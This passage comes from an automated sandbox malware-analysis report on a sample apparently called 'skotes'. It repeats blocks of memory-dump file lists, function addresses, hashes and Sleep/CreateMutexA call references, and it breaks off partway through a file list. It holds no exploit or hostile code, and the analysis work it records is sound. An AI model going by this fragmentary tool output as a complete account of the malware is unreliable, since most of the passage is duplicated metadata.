Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 45fe9d60c7d4c660451db27a6f294924ec72147278b701a1ee9557a0ef3d52de
Instruction ID: 8c115fa48bbe28138d77e33c9a895fc8c9904c28fb41663d5a2343e7dcb7c750
Opcode Fuzzy Hash: 45fe9d60c7d4c660451db27a6f294924ec72147278b701a1ee9557a0ef3d52de
Instruction Fuzzy Hash: 073168316241059BEB08DB78DD88B6DB776EFC6310F208618E418BB2D1D77699E08F12

Function 0026A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: cae92175a81a5525193341669a9192e75fa2e38c00dd2f73896c61c9519ddd2f
Instruction ID: 9c5c996b81bcd5b7fa91e1c6afe719ae7d92c915c1369e01c4d8c4c85e0011a3
Opcode Fuzzy Hash: cae92175a81a5525193341669a9192e75fa2e38c00dd2f73896c61c9519ddd2f
Instruction Fuzzy Hash: 78318831A241048BEB08DB78DD8DB6DB7B6EFC1314F308219E014BB2C5DBB599E08E52

Function 0026A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 6f1f976e0f883c96ebf07a87ef93cecaa7c654de864d32e2a35a20ca7a5b7991
Instruction ID: 4295b5f6449069ca533324fae02eaa40b426763108275d7bc1cd37bab74f0b34
Opcode Fuzzy Hash: 6f1f976e0f883c96ebf07a87ef93cecaa7c654de864d32e2a35a20ca7a5b7991
Instruction Fuzzy Hash: EE313531A241048BEB08DB78DC89B6CB766EFC1314F348619E415BB2D5CB7599E08E22

Function 0026A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: b80c5899768dbd823c9d90218766c6521a6ede12d1876e5b3f55a5ed6938395f
Instruction ID: 85927bdb59422bfcb5e55f1099002168b459a1af645afa0f9765ff719f4137a8
Opcode Fuzzy Hash: b80c5899768dbd823c9d90218766c6521a6ede12d1876e5b3f55a5ed6938395f
Instruction Fuzzy Hash: D93146316242058BEF08DB78DD89B6DB7B6EFC1314F348618E015BB2D5C77599E08E52

Function 00269ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: c1b23ec45932064998d2158d4535f34fd094b1a70c80fa53a3ac807c107fe01c
Instruction ID: c94b29bf2731088a008e4b2eb19a69af9ba2aaad404d365c8f5f4ff9717f079c
Opcode Fuzzy Hash: c1b23ec45932064998d2158d4535f34fd094b1a70c80fa53a3ac807c107fe01c
Instruction Fuzzy Hash: 4B217C316242059BEB18DF68EC89B6CB375EBC1314F208219E508E72D5DB755DE08A12

Function 0026A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
